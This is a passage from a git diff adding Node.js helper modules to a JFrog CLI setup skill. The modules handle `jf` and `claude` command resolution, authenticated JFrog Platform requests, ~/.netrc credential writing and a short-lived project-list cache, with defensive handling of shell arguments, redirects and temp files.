${target}: ${err.message}` }; + } + + return { exitCode: 0, status: "green", detail: `substituted JFROG_PLATFORM_URL/JFROG_URL placeholder with ${jpdUrl}` }; +} + +if (isMainModule(import.meta.url)) { + const TARGET = process.argv[2] || ""; + const SERVER_ID = process.argv[3] || ""; + const result = substituteMcpPlaceholders(TARGET, SERVER_ID); + emitJf({ + check: "mcp-placeholder", + status: result.status, + file: TARGET, + detail: result.detail, + ...(result.candidates ? { candidates: result.candidates } : {}), + }); + // Sets process.exitCode rather than calling process.exit() — a forced + // exit can truncate a still-draining stdout write, same reason every + // other script in this skill was already fixed this way. + process.exitCode = result.exitCode; +} diff --git a/skills/jfrog-init/scripts/lib/claude.mjs b/skills/jfrog-init/scripts/lib/claude.mjs new file mode 100644 index 0000000..6cae32d --- /dev/null +++ b/skills/jfrog-init/scripts/lib/claude.mjs @@ -0,0 +1,16 @@ +// claude.mjs — the Claude Code CLI. + +import { resolveCommand, runCommand } from "./command.mjs"; + +const CLAUDE_TIMEOUT_MS = 30_000; + +const SHELL_UNSAFE = /[&|;$<>`"'\\\s]/; + +export const claude = resolveCommand("claude"); + +export function marketplaceAdd(url) { + if (claude.shell && SHELL_UNSAFE.test(url)) { + return { ok: false, out: "jf server URL or username has a character the Windows claude shim cannot pass.\n" }; + } + return runCommand(claude, ["plugin", "marketplace", "add", url], { timeoutMs: CLAUDE_TIMEOUT_MS }); +} diff --git a/skills/jfrog-init/scripts/lib/command.mjs b/skills/jfrog-init/scripts/lib/command.mjs new file mode 100644 index 0000000..5799607 --- /dev/null +++ b/skills/jfrog-init/scripts/lib/command.mjs @@ -0,0 +1,93 @@ +// command.mjs — finds the binary behind a command name on PATH, and launches it. + +import { spawnSync } from "node:child_process"; +import { accessSync, constants as fsConstants } from "node:fs"; +import { dirname, join, delimiter } from "node:path"; + +// Prepends `dir` to the current process's PATH if it isn't already +// present. Shared by every self-heal that needs this (selfHealPath() +// in jf.mjs, jfrog-install-jf-cli.mjs's selfHealNpmPath()) so the split/ +// includes/prepend mechanics can't drift between the two — they differ +// only in *which* directory they're healing onto PATH. +export function prependToPathIfMissing(dir) { + if (!dir) return; + const dirs = (process.env.PATH || "").split(delimiter); + if (!dirs.includes(dir)) { + process.env.PATH = `${dir}${delimiter}${process.env.PATH || ""}`; + } +} + +// A pure-Node PATH scan — no external binary at all, so this can't be +// a shell-injection-shaped pattern (no `shell: true`, unlike the old +// `command -v` implementation) AND can't false-negative on a minimal +// image missing `which`/`where` (unlike a naive fix that just swapped in +// those external binaries instead). +export function commandExists(command) { + return resolveBinaryDir(command) !== ""; +} + +// Same PATH/PATHEXT scan as commandExists() and resolveBinaryDir(), but +// returns the full matched path (dir + filename, e.g. `...\jf.cmd` on +// Windows) instead of just the directory — runJf() needs the exact +// filename it matched (not just which directory it lives in) so it can +// spawn that literal path without going through a shell to resolve a bare +// "jf" via PATHEXT. +export function resolveBinaryPath(command) { + const dirs = (process.env.PATH || "").split(delimiter).filter(Boolean); + const names = + process.platform === "win32" + ? (process.env.PATHEXT || ".COM;.EXE;.BAT;.CMD").split(";").map((ext) => command + ext.toLowerCase()) + : [command]; + for (const dir of dirs) { + for (const name of names) { + const full = join(dir, name); + try { + // Windows has no POSIX executable bit to check — F_OK (exists) is + // the best available signal there; X_OK enforces "executable", + // not just "present", everywhere else. + accessSync(full, process.platform === "win32" ? fsConstants.F_OK : fsConstants.X_OK); + return full; + } catch { + // Not in this PATH entry — keep looking. + } + } + } + return ""; +} + +// Same PATH/PATHEXT scan as commandExists(), but returns the directory the +// binary actually resolves to (first hit wins, same as PATH resolution +// order) instead of a boolean. jfrog-install-jf-cli.mjs's Plan B retry +// guard needs to know WHERE the currently-resolving `jf` lives — inside +// npm's own global bin, or shadowed by something earlier on PATH (a +// Homebrew/version-manager install) — not just whether `jf` resolves at +// all. +export function resolveBinaryDir(command) { + const full = resolveBinaryPath(command); + return full ? dirname(full) : ""; +} + +// Node refuses to spawn a Windows `.cmd` shim without `shell: true` (its fix for +// CVE-2024-27980, which Node 24 flags as DEP0190), and under a shell cmd.exe +// re-splits the line, so a path with a space needs quotes. `shell` is returned +// because such a call passes args through unescaped: callers must screen theirs. +// An unfound command yields the bare name, so the spawn still ENOENTs. +export function resolveCommand(command) { + const path = resolveBinaryPath(command); + const shell = /\.(cmd|bat)$/i.test(path); + return { command, target: shell ? `"${path}"` : path || command, shell, found: path !== "" }; +} + +// Reports the outcome instead of throwing, so a caller can show the CLI's own +// message; execFileSync discards stdout on failure. A killed child leaves status +// null and both streams empty, so the reason goes into `out`. +export function runCommand({ command, target, shell }, args, { timeoutMs }) { + const result = spawnSync(target, args, { encoding: "utf8", timeout: timeoutMs, shell }); + let out = `${result.stdout || ""}${result.stderr || ""}`; + if (result.error) { + out += result.error.code === "ETIMEDOUT" + ? `${command} did not respond within ${timeoutMs / 1000}s and was terminated.\n` + : `${result.error.message}\n`; + } + return { ok: result.status === 0, out }; +} diff --git a/skills/jfrog-init/scripts/lib/jf-api.mjs b/skills/jfrog-init/scripts/lib/jf-api.mjs new file mode 100644 index 0000000..ec4d436 --- /dev/null +++ b/skills/jfrog-init/scripts/lib/jf-api.mjs @@ -0,0 +1,55 @@ +// jf-api.mjs — shared `jf api` bootstrap-call helpers for the web-login +// scripts (jfrog-login-register-session.mjs, jfrog-login-save-credentials.mjs). +// These run before any server exists in `jf config`, so every call goes +// through `jf api --url ...` rather than a configured --server-id — +// a distinct mode from lib/jf.mjs's runJf(), which always assumes a +// configured server. + +import { execFileSync } from "node:child_process"; +import { resolveCommand } from "./command.mjs"; + +// Matches jf rt ping's own network-call timeout (lib/jf.mjs's +// JF_CLI_TIMEOUT_MS) for the same reason: long enough that a slow JPD +// doesn't misreport as "unreachable". +const JF_API_TIMEOUT_MS = 30_000; + +// Parses the last "Http Status: NNN" line `jf api` prints. Returns "0" +// when no such line is present — the sentinel for "couldn't determine a +// status." +export function parseHttpStatus(text) { + const lines = String(text || "") + .split("\n") + .filter((l) => l.includes("Http Status:")); + const line = lines[lines.length - 1] || ""; + const m = line.match(/Http Status:\s*(\d+)/); + return m ? m[1] : "0"; +} + +// Runs `jf api <...args>`, returning both streams and exit info instead of +// throwing — a non-zero exit (unreachable server, a 400 on an unfinished +// login, etc) is an expected outcome the caller branches on, not a script +// bug. +export function jfApi(args) { + try { + const { target, shell } = resolveCommand("jf"); + const stdout = execFileSync(target, ["api", ...args], { + encoding: "utf8", + timeout: JF_API_TIMEOUT_MS, + shell, + // Node's execFileSync/execSync echo the child's stderr to the + // parent's own stderr live by default ("stderr by default will be + // output to the parent's stderr unless stdio is specified" per the + // Node docs) — on top of still populating err.stderr for a failed + // call. Left at the default, every `jf api` info/warn log line + // (e.g. "Http Status: NNN") would leak straight to the terminal. + // Pinning stdio here keeps this silent: nothing is inherited, + // everything is still captured. + stdio: ["ignore", "pipe", "pipe"], + }); + return { ok: true, stdout, stderr: "" }; + } catch (err) { + const stdout = err.stdout ? err.stdout.toString() : ""; + const stderr = err.stderr ? err.stderr.toString() : ""; + return { ok: false, stdout, stderr, error: err }; + } +} diff --git a/skills/jfrog-init/scripts/lib/jf.mjs b/skills/jfrog-init/scripts/lib/jf.mjs new file mode 100755 index 0000000..3a1206a --- /dev/null +++ b/skills/jfrog-init/scripts/lib/jf.mjs @@ -0,0 +1,436 @@ +// jf.mjs — shared helpers for invoking `jf` and reading its config. +// Every detector needs the same three things: `jf` findable on PATH, +// its config read without ever touching a token on disk, and the JPD +// URL normalized to its root. Centralizing them here is what let the +// individual jfrog-detect-*.mjs scripts drop the ~30 lines of PATH/curl/base64 +// boilerplate each `.sh` predecessor repeated. + +import { execFileSync } from "node:child_process"; +import { existsSync, realpathSync } from "node:fs"; +import { homedir } from "node:os"; +import { join } from "node:path"; +import { fileURLToPath } from "node:url"; + +import { prependToPathIfMissing, resolveCommand } from "./command.mjs"; + +export const JF_BIN_DIR = join(homedir(), ".jfrog", "bin"); +const JF_BIN = join(JF_BIN_DIR, process.platform === "win32" ? "jf.exe" : "jf"); + +// `import.meta.url === pathToFileURL(process.argv[1]).href` looks right for +// the standard ESM "was I run directly?" check, but Node's ESM loader +// resolves symlinks when computing import.meta.url while pathToFileURL(argv[1]) +// does not — so the comparison silently fails whenever the invoking path +// passes through a symlink (exactly how this skill is installed locally, via +// dev/dev-symlinks.sh). Resolving both sides through realpathSync fixes it. +export function isMainModule(moduleUrl) { + if (!process.argv[1]) return false; + try { + return fileURLToPath(moduleUrl) === realpathSync(process.argv[1]); + } catch { + return false; + } +} + +// Makes `jf` findable even when the current process's PATH doesn't +// include ~/.jfrog/bin — a fixed-location fallback for any `jf` install +// that landed there by some other means (e.g. a leftover from before this +// skill switched to npm, or a manual install following JFrog's own curl +// docs). jfrog-install-jf-cli.mjs itself never writes there or edits PATH. +export function selfHealPath() { + if (existsSync(JF_BIN)) prependToPathIfMissing(JF_BIN_DIR); +} + +// Does NOT export JFROG_CLI_USER_AGENT, unlike the base `jfrog` skill's +// documented "session-global invariant" (see SKILL.md's Prerequisites). +// That skill's scripts/check-environment.mjs — the only thing that +// produces the UA string — is now pure Node too, but it still only emits +// a UA once `jf` is ALREADY installed at its minimum version. This +// skill's early steps exist specifically to get `jf` installed in the +// first place, before that precondition holds — calling it here would +// hit that same-version gate, not a scripting-language mismatch (the +// original reason this skill didn't reuse it, back when it was still a +// `jq`-dependent, GNU/BSD-`date`-branching `.sh` script). Telemetry-only +// impact (not functional correctness): `jf` calls from here just go +// unattributed in JFrog's own usage analytics. +// The default for runJf()'s local/fast operations (--version, config +// show/export) — without one, a wedged binary hangs the whole walk with +// no recovery, unlike every network call in this file (all of which use +// AbortSignal.timeout or an explicit timeout already). jfrog-detect-server-ping.mjs's +// own `jf rt ping` call (genuinely network-bound) overrides this via +// runJf()'s `timeoutMs` option instead of using this default. Matches +// jf rt ping's own 30s rather than a shorter value — `jf config +// export`/`config show` can trigger an OS credential-store prompt (e.g. +// macOS Keychain access confirmation) that the user takes a few seconds +// to notice and click, and a too-short timeout would kill that valid, +// still-in-progress prompt and misreport working credentials as broken. +export const JF_CLI_TIMEOUT_MS = 30_000; + +// The one place every `jf` spawn goes through. `timeoutMs` overrides the +// local-operation default for a network-bound caller. +export function runJf(args, { timeoutMs = JF_CLI_TIMEOUT_MS } = {}) { + selfHealPath(); + const { target, shell } = resolveCommand("jf"); + // Under `shell: true`, cmd.exe would read a metacharacter as a separator. + if (shell) { + const unsafe = args.find((a) => /[&|;$<>`"'\\\n]/.test(a)); + if (unsafe !== undefined) { + throw new Error(`runJf: refusing shell-unsafe argument: ${JSON.stringify(unsafe)}`); + } + } + // Without this, execFileSync forwards jf's stderr to ours. + return execFileSync(target, args, { + encoding: "utf8", + timeout: timeoutMs, + shell, + stdio: ["ignore", "pipe", "pipe"], + }); +} + +// ---- in-process memoization ---- +// jfAvailable() / jfConfigShow() / jfConfigExportResult() are each called +// independently by multiple detectors (jfrog-resolve-jf-server.mjs's +// resolveServerOrEmit(), jfrog-detect-project.mjs, +// jfrog-detect-catalog-runtime.mjs) — when jfrog-detect-all.mjs runs all +// of them in-process for one walk, that's several redundant `jf` +// subprocess spawns, and for jfConfigExportResult specifically, redundant OS +// credential-store prompts (e.g. a second macOS Keychain confirmation), +// for data that cannot change mid-walk: none of these read-only scripts +// ever mutate jf's install state or its config. Memoized here, at the one +// shared module every caller already imports through, rather than +// duplicated in each caller. +// +// jfrog-install-jf-cli.mjs is the one exception — it deliberately +// installs/updates `jf` and must see the result of that within the same +// process, so it calls invalidateJfAvailableCache() right after each +// install step that could have changed the answer. +let jfAvailableCache; +// "missing" (ENOENT — not on PATH) vs "broken" (on PATH but hung/timed out +// or otherwise failed to run) — same distinction jfrog-detect-jf-cli.mjs +// makes for its own direct check. Callers that only need jfAvailable()'s +// boolean were previously reporting a hung/corrupted `jf` as "not +// installed", which sends the user to reinstall from scratch instead of +// just reinstalling the existing (corrupted) binary. +let jfUnavailableReason; +let jfConfigShowCache; +const jfConfigExportCache = new Map(); + +export function jfAvailable() { + if (jfAvailableCache === undefined) { + selfHealPath(); + try { + runJf(["--version"]); + jfAvailableCache = true; + jfUnavailableReason = undefined; + } catch (err) { + jfAvailableCache = false; + jfUnavailableReason = err && err.code === "ENOENT" ? "missing" : "broken"; + } + } + return jfAvailableCache; +} + +// For callers that gate on jfAvailable() and need a user-facing detail +// string for the false case — routes "broken" to the same reinstall +// wording jfrog-detect-jf-cli.mjs uses instead of misreporting a +// hung/corrupted binary as simply missing. Only meaningful after +// jfAvailable() has run at least once, which every caller already does to +// get the boolean itself. +export function describeJfUnavailable() { + return jfUnavailableReason === "broken" + ? "jf is on PATH but did not respond in time or failed to run (may be corrupted or hung) — reinstalling should fix this." + : "jf not installed"; +} + +export function invalidateJfAvailableCache() { + jfAvailableCache = undefined; + jfUnavailableReason = undefined; +} + +// Lets jfrog-detect-jf-cli.mjs's detectJfCli() — which needs its own +// `jf --version` call anyway to capture the version string for its +// `detail` field, with its own richer missing/broken/timed-out +// distinction — hand its already-obtained result to this cache instead +// of jfAvailable() spawning a second, independent `jf --version` later +// in the same walk. Without this, detectJfCli() and the first later +// jfAvailable() call (e.g. from jfrog-detect-jf-config.mjs) each spawn +// `jf` separately; if `jf` is flaky, the two calls can disagree and +// report self-contradictory green/red status for the same binary in one +// walk. A no-op once jfAvailable() has already populated the cache +// itself. +export function seedJfAvailable(available, reason) { + if (jfAvailableCache !== undefined) return; + jfAvailableCache = available; + jfUnavailableReason = available ? undefined : reason; +} + +export function jfConfigShow() { + if (jfConfigShowCache === undefined) { + try { + const out = runJf(["config", "show", "--format=json"]); + const parsed = JSON.parse(out); + jfConfigShowCache = Array.isArray(parsed) ? parsed : []; + } catch { + jfConfigShowCache = []; + } + } + return jfConfigShowCache; +} + +// A server's config from `jf config export`, or null. `timedOut` tells a +// wedged `jf` from an unconfigured one. +export function jfConfigExportResult(serverId) { + const cacheKey = serverId || ""; + if (!jfConfigExportCache.has(cacheKey)) { + const result = { cfg: null, timedOut: false }; + try { + const args = ["config", "export"]; + if (serverId) args.push(serverId); + const lines = runJf(args).split("\n").map((l) => l.trim()).filter(Boolean); + if (lines.length) result.cfg = JSON.parse(Buffer.from(lines[lines.length - 1], "base64").toString("utf8")); + } catch (err) { + result.timedOut = err.code === "ETIMEDOUT"; + } + jfConfigExportCache.set(cacheKey, result); + } + return jfConfigExportCache.get(cacheKey); +} + +const HTTP_SCHEME = /^https?:\/\//i; + +export function normalizeJpdUrl(url) { + if (!url) return ""; + let u = url.replace(/\/+$/, ""); + // Strip trailing /artifactory and /ui repeatedly — a URL can end in + // both (e.g. ".../artifactory/ui"), and a single non-repeated pass + // would leave the other suffix in place. + let stripped = true; + while (stripped) { + stripped = false; + for (const suffix of ["/artifactory", "/ui"]) { + if (u.endsWith(suffix)) { + u = u.slice(0, -suffix.length); + stripped = true; + } + } + } + if (!HTTP_SCHEME.test(u)) u = `https://${u}`; + return u; +} + +// A configured JPD URL, parsed, or null. +export function parseJpdUrl(raw) { + if (!HTTP_SCHEME.test(raw)) return null; + try { + return new URL(normalizeJpdUrl(raw)); + } catch { + return null; + } +} + +// Resolves URL + credentials (bearer token, falling back to user+password) +// for a server from `jf config export`. Returns null if nothing usable is +// configured. Credentials only ever live in the returned object for the +// duration of the caller's fetch — never logged, never written to disk. +export function resolveCreds(serverId) { + const { cfg } = jfConfigExportResult(serverId); + if (!cfg) return null; + // Same url/artifactoryUrl naming ambiguity urlForServer() falls back on + // for `jf config show` — `jf config export`'s JSON isn't guaranteed to + // use the same field name across jf CLI versions. + const rawUrl = (typeof cfg.url === "string" && cfg.url) || (typeof cfg.artifactoryUrl === "string" && cfg.artifactoryUrl) || ""; + const baseUrl = normalizeJpdUrl(rawUrl); + const token = typeof cfg.accessToken === "string" ? cfg.accessToken : ""; + const user = typeof cfg.user === "string" ? cfg.user : ""; + const password = typeof cfg.password === "string" ? cfg.password : ""; + if (!baseUrl || (!token && !(user && password))) return null; + return { baseUrl, token, user, password }; +} + +// The username behind a server's token, from a subject like +// "jfac@/users/". Empty when unavailable. +export function tokenUsername(serverId = "") { + const args = ["api"]; + if (serverId) args.push(`--server-id=${serverId}`); + args.push("/access/api/v1/tokens/me"); + try { + const { subject = "" } = JSON.parse(runJf(args).trim() || "{}"); + return /\/users\/([^/]+)$/.exec(subject)?.[1] || ""; + } catch { + return ""; + } +} + +export function authHeader(creds) { + if (creds.token) return { Authorization: `Bearer ${creds.token}` }; + return { Authorization: `Basic ${Buffer.from(`${creds.user}:${creds.password}`).toString("base64")}` }; +} + +const AUTHED_FETCH_TIMEOUT_MS = 15_000; +// A same-origin chain (e.g. an http->https upgrade followed by a reverse +// proxy's canonical-host redirect) can span more than one hop — bounded +// here rather than looped forever in case of a same-origin redirect cycle. +const MAX_SAME_ORIGIN_REDIRECTS = 5; + +// Authenticated GET against `${creds.baseUrl}${path}`, shared by every +// detector that hits a JPD REST endpoint. Body is parsed as JSON when +// possible (null if the response isn't JSON or has no body); code 0 +// means the request itself failed (connection error, timeout, etc). +export async function authedFetch(creds, path) { + try { + const headers = { Accept: "application/json", ...authHeader(creds) }; + let url = `${creds.baseUrl}${path}`; + let res = await fetch(url, { + headers, + signal: AbortSignal.timeout(AUTHED_FETCH_TIMEOUT_MS), + // Manual redirect handling: a 3xx to a DIFFERENT origin (e.g. a + // captive portal or an unrelated login page) must surface as its + // real status code, not be silently followed to a page that then + // answers 200 for something that was never the JPD endpoint we + // asked for. A same-origin 3xx (e.g. the JPD's own reverse proxy + // normalizing http->https) is followed below instead, since that's + // still the same server answering — see the follow-up loop. + redirect: "manual", + }); + for (let hop = 0; hop < MAX_SAME_ORIGIN_REDIRECTS && res.status >= 300 && res.status < 400; hop++) { + const location = res.headers.get("location"); + if (!location) break; + const current = new URL(url); + const target = new URL(location, url); + // URL.origin includes the scheme, so a plain same-origin check would + // treat a same-host http->https upgrade as cross-origin and refuse to + // follow it — exactly the case this loop exists for. The check must + // still be asymmetric: same host AND port, with the scheme either + // unchanged or upgrading to https. A same-host https->http redirect is + // never followed — that would replay the Authorization header over + // plaintext. + const sameHostPort = target.hostname === current.hostname && target.port === current.port; + const schemeOk = target.protocol === current.protocol || target.protocol === "https:"; + if (!sameHostPort || !schemeOk) break; + url = target.href; + res = await fetch(url, { headers, signal: AbortSignal.timeout(AUTHED_FETCH_TIMEOUT_MS), redirect: "manual" }); + } + let body = null; + try { + body = await res.json(); + } catch { + body = null; + } + return { code: res.status, body }; + } catch { + return { code: 0, body: null }; + } +} + +// Anonymous GET with no auth, manual redirects, 10s timeout — the +// reachability probe shared by every detector that needs to know whether a +// URL is up before trying anything authenticated against it +// (jfrog-detect-server-ping.mjs, jfrog-detect-catalog-runtime.mjs's Part +// A). Never throws: any connection failure (DNS, TLS, timeout, refused) +// collapses to "000" so callers can treat that one string as the uniform +// "unreachable" case. +export async function anonymousFetchStatus(endpoint) { + try { + const res = await fetch(endpoint, { redirect: "manual", signal: AbortSignal.timeout(10_000) }); + return String(res.status); + } catch { + return "000"; + } +} + +// Node's built-in fetch does not read HTTPS_PROXY/HTTP_PROXY, so telling +// the user to set them wouldn't fix anything here — point at the network +// itself instead. Shared so the wording can't drift between the call +// sites that append it to a "connection failed" detail on a "000" status. +export const NETWORK_UNREACHABLE_HINT = " (on a corporate network or VPN? this JPD may be unreachable from your current network)"; + +export function defaultServerId(configList) { + const hit = configList.find((s) => s && s.isDefault === true); + return hit && typeof hit.serverId === "string" ? hit.serverId : ""; +} + +export function urlForServer(configList, serverId) { + const hit = configList.find((s) => s && s.serverId === serverId); + if (!hit) return ""; + return (typeof hit.url === "string" && hit.url) || (typeof hit.artifactoryUrl === "string" && hit.artifactoryUrl) || ""; +} + +// The "ask which server" result shape every detector emits when +// resolveJfServer() can't pick one — multiple servers configured, none +// marked isDefault. Shared so the wording and candidates derivation can't +// drift apart between the detectors that all hit this same condition +// (jfrog-detect-catalog-runtime.mjs, jfrog-detect-project.mjs, +// jfrog-detect-server-ping.mjs). Exit code 2 is the caller's own +// responsibility, same as every other emit(). +export function askServerResult(check, configList) { + return { + check, + status: "ask", + // `unresolved: "server"` lets a caller tell this apart from a + // check-specific ask (e.g. jfrog-detect-project.mjs's own "no project + // input" ask) even though both are `{check, status: "ask"}` — without + // it, a caller keying off `check` alone (e.g. the Step 6 project + // picker) would misroute this into asking about the wrong thing. See + // references/project-picker.md's discriminator note. + unresolved: "server", + detail: "multiple jf servers configured, none marked isDefault — pass a server-id or set JF_SERVER_ID", + candidates: configList.map((s) => s.serverId).filter(Boolean), + }; +} + +// The full "no server resolvable" fallback every detector that takes a +// [server-id] falls into when resolveJfServer() returns nothing: either +// zero servers configured (red, blocking) or multiple with none marked +// default (ask, non-blocking). Shared — not just askServerResult() above +// — so the message/exit-code pairing for this one condition can't drift +// between the detectors that all hit it (jfrog-detect-catalog-runtime.mjs, +// jfrog-detect-project.mjs, jfrog-detect-server-ping.mjs). Emits and +// returns the exit code the caller should set and return with. +export function emitNoServerResolved(check, configList) { + if (configList.length === 0) { + emit({ check, status: "red", detail: "no jf server configured — run `jf config add --interactive`" }); + return 1; + } + emit(askServerResult(check, configList)); + return 2; +} + +export function emit(obj) { + process.stdout.write(JSON.stringify(obj) + "\n"); +} + +// The four supported placeholder forms — `${VAR}` or bare `$VAR` followed +// by a non-identifier character or end of string — and nothing looser. +// Independently-optional braces (`\{?...\}?`) would also match malformed +// or unrelated text like `${JFROG_URL_SUFFIX}` or an unclosed `${JFROG_URL`; +// the `\b` after the bare form and the exact `\{...\}` pairing rule both +// out. Shared by the detector (jfrog-detect-jfrog-mcp.mjs) and the +// substituter (jfrog-substitute-mcp-placeholders.mjs) so "is there a +// placeholder?" and "replace the placeholder" agree on what counts as one. +const MCP_PLACEHOLDER_PATTERN = "\\$\\{(?:JFROG_PLATFORM_URL|JFROG_URL)\\}|\\$(?:JFROG_PLATFORM_URL|JFROG_URL)\\b"; + +export function hasMcpPlaceholder(text) { + return new RegExp(MCP_PLACEHOLDER_PATTERN).test(text); +} + +// Shared "is `mcpServers.jfrog` a valid object, and what's its `.url`?" +// check — used by the detector (jfrog-detect-jfrog-mcp.mjs, to decide if +// there's a url worth validating) and the substituter +// (jfrog-substitute-mcp-placeholders.mjs, to decide if there's a url worth +// rewriting) so the two agree on what counts as a valid entry, the same +// way MCP_PLACEHOLDER_PATTERN keeps "is there a placeholder?" in sync. +// Returns the url string (possibly empty) on a valid entry, null otherwise. +export function jfrogMcpUrl(parsed) { + const entry = parsed?.mcpServers?.jfrog; + if (entry === null || typeof entry !== "object" || Array.isArray(entry)) return null; + return typeof entry.url === "string" ? entry.url : null; +} + +// Fresh RegExp instances every call — a shared module-level `g`-flagged +// regex would carry `lastIndex` state across calls and silently miss +// matches on reuse. +export function mcpPlaceholderRegexes() { + return { + withScheme: new RegExp(`(https?:\\/\\/)(?:${MCP_PLACEHOLDER_PATTERN})`, "g"), + bare: new RegExp(MCP_PLACEHOLDER_PATTERN, "g"), + }; +} diff --git a/skills/jfrog-init/scripts/lib/netrc.mjs b/skills/jfrog-init/scripts/lib/netrc.mjs new file mode 100644 index 0000000..ae29425 --- /dev/null +++ b/skills/jfrog-init/scripts/lib/netrc.mjs @@ -0,0 +1,58 @@ +// netrc.mjs — writes one `machine` block into ~/.netrc, keeping other hosts. + +import { readFileSync, writeFileSync, renameSync, rmSync } from "node:fs"; +import { homedir } from "node:os"; +import { join } from "node:path"; + +// curl checks HOME before the platform default. +export const NETRC = join(process.env.HOME || homedir(), ".netrc"); + +// Inside a macdef body, lines are just text until a blank one ends it. +function nextMode(mode, keyword, value, host) { + if (mode === "macro") return keyword === "" ? "keep" : "macro"; + if (keyword === "macdef") return "macro"; + if (keyword === "machine") return value === host ? "drop" : "keep"; + if (keyword === "default") return "keep"; + return mode; +} + +// Returns `content` with `host`'s entry removed and every other host untouched. +export function dropNetrcHost(content, host) { + const kept = []; + let mode = "keep"; + for (const line of content.split("\n")) { + const [keyword, value] = line.trim().toLowerCase().split(/\s+/, 2); + mode = nextMode(mode, keyword, value, host); + if (mode !== "drop") kept.push(line); + } + return kept.join("\n"); +} + +// Saves `content` as ~/.netrc. +function replaceNetrc(content) { + const tmp = `${NETRC}.${process.pid}.${Date.now()}.tmp`; + try { + writeFileSync(tmp, content, { mode: 0o600, flag: "wx" }); + renameSync(tmp, NETRC); + } catch (err) { + rmSync(tmp, { force: true }); + return { ok: false, error: `could not write ${NETRC}: ${err.message}` }; + } + return { ok: true }; +} + +// Upserts `host`'s credentials as the first entry curl will match. +export function writeNetrc(host, login, token) { + for (const [keyword, value] of Object.entries({ machine: host, login, password: token })) { + if (!/^\S+$/.test(value ?? "")) return { ok: false, error: `invalid netrc ${keyword}` }; + } + + let existing = ""; + try { + existing = readFileSync(NETRC, "utf8"); + } catch (err) { + if (err.code !== "ENOENT") return { ok: false, error: `could not read ${NETRC}: ${err.message}` }; + } + const block = `machine ${host}\n login ${login}\n password ${token}`; + return replaceNetrc(`${[block, dropNetrcHost(existing, host).trim()].filter(Boolean).join("\n\n")}\n`); +} diff --git a/skills/jfrog-init/scripts/lib/project-cache.mjs b/skills/jfrog-init/scripts/lib/project-cache.mjs new file mode 100644 index 0000000..389da54 --- /dev/null +++ b/skills/jfrog-init/scripts/lib/project-cache.mjs @@ -0,0 +1,92 @@ +#!/usr/bin/env node +// project-cache.mjs — short-lived on-disk cache of a server's enumerated +// project list (GET /access/api/v1/projects). The interactive project +// step (SKILL.md Step 6) re-invokes jfrog-detect-project.mjs once per user +// attempt within the same walk (typed guess, "Other" retry, picking a +// suggestion, ...); without this cache each attempt re-hits the network +// to re-enumerate, even though matching/similarity search against the +// list is already done offline (lib/projects.mjs). Only the enumeration +// call itself needs caching — the per-key existence probe in +// jfrog-detect-project.mjs must stay live, since it's the access/ACL check of +// record. +// +// Keyed by server ID, lives in the OS temp dir (contents are public +// project metadata — key/display name — never a secret), and expires +// after TTL_MS so a walk resumed later doesn't trust a stale list. + +import { readFileSync, writeFileSync, renameSync } from "node:fs"; +import { createHash } from "node:crypto"; +import { tmpdir } from "node:os"; +import { join } from "node:path"; + +const TTL_MS = 5 * 60 * 1000; + +// A fingerprint of the credentials used to enumerate — never the raw +// token/password, just enough to detect when the identity behind a +// server-id changes (e.g. the user re-runs `jf config add --interactive` +// with a different account, or repoints the same server-id at a +// different JPD). Otherwise a stale list fetched under the old identity +// could be served to the new one. +// +// Stored INSIDE the cache file (protected by its 0600 mode) rather than +// in the filename — a filename embedding even a truncated hash of +// credential material is visible to any local user via a directory +// listing on a shared machine (e.g. `ls /tmp`), which lets someone who +// already holds (or is guessing) a candidate credential confirm a match +// without ever needing read access to the file itself. The 0600 mode +// only protects contents, not the filename, so the fingerprint has to +// live where that protection actually applies. +function fingerprint(creds) { + return createHash("sha256") + .update(`${creds.baseUrl}|${creds.token || ""}|${creds.user || ""}|${creds.password || ""}`) + .digest("hex") + .slice(0, 16); +} + +// Scoped by server-id only — server IDs are non-secret labels already +// visible in `jf config show` and this skill's own detector output, so +// there's nothing sensitive in this filename. +function cachePath(serverId) { + const safe = serverId.replace(/[^a-zA-Z0-9._-]/g, "_"); + return join(tmpdir(), `jfrog-init-projects-${safe}.json`); +} + +// A falsy serverId means the caller couldn't resolve which JPD it's +// talking to — caching under some shared placeholder key would let two +// different (unresolved) servers read back each other's project list. +// Skip the cache entirely rather than risk that cross-server leak. +export function readCachedProjectList(serverId, creds) { + if (!serverId || !creds) return null; + try { + const parsed = JSON.parse(readFileSync(cachePath(serverId), "utf8")); + if (!parsed || typeof parsed.fetchedAt !== "number" || parsed.body === undefined) return null; + if (parsed.fingerprint !== fingerprint(creds)) return null; + if (Date.now() - parsed.fetchedAt > TTL_MS) return null; + return parsed.body; + } catch { + return null; + } +} + +export function writeCachedProjectList(serverId, creds, body) { + if (!serverId || !creds) return; + try { + const record = { fetchedAt: Date.now(), fingerprint: fingerprint(creds), body }; + // Path is derived from server-id alone (non-secret, guessable) in a + // shared OS temp dir — writing straight to it would let another local + // user pre-plant a symlink there that writeFileSync's default "w" + // flag would follow and truncate, overwriting an arbitrary file the + // real user can write to. Writing to a per-process-unique temp name + // first (also "wx", refusing to follow/overwrite anything already + // there) and renaming into place instead replaces whatever directory + // entry — file or symlink — sits at the final path, without ever + // dereferencing it. Same pattern as jfrog-state-file.mjs. + const target = cachePath(serverId); + const tmp = `${target}.tmp.${process.pid}`; + writeFileSync(tmp, JSON.stringify(record), { mode: 0o600, flag: "wx" }); + renameSync(tmp, target); + } catch { + // Cache is a pure optimization — a write failure just means the next + // invocation re-fetches, so it's never surfaced to the caller. + } +} diff --git a/skills/jfrog-init/scripts/lib/projects.mjs b/skills/jfrog-init/scripts/lib/projects.mjs new file mode 100755 index 0000000..f5548c6 --- /dev/null +++ b/skills/jfrog-init/scripts/lib/projects.mjs @@ -0,0 +1,155 @@ +// projects.mjs — resolves a user-typed project name-or-key against a +// GetProjectsList response (https://docs.jfrog.com/projects/reference/getprojectslist), +// which returns either a bare array of project objects or `{"projects": [...]}`, +// each with `project_key`/`projectKey` and `display_name`/`displayName`. + +function extractList(data) { + if (Array.isArray(data)) return data; + if (data && Array.isArray(data.projects)) return data.projects; + return []; +} + +export function projectsWithNames(data) { + const seen = new Set(); + const out = []; + for (const p of extractList(data)) { + if (!p || typeof p !== "object") continue; + const key = p.project_key ?? p.projectKey; + if (typeof key !== "string" || !key || seen.has(key)) continue; + seen.add(key); + const name = p.display_name ?? p.displayName; + out.push({ key, displayName: typeof name === "string" && name ? name : key }); + } + out.sort((a, b) => a.key.localeCompare(b.key)); + return out; +} + +// Caps the list a detector emits back to its caller, WITHOUT touching the +// list used for matching (resolveProject()/findSimilarProjects() 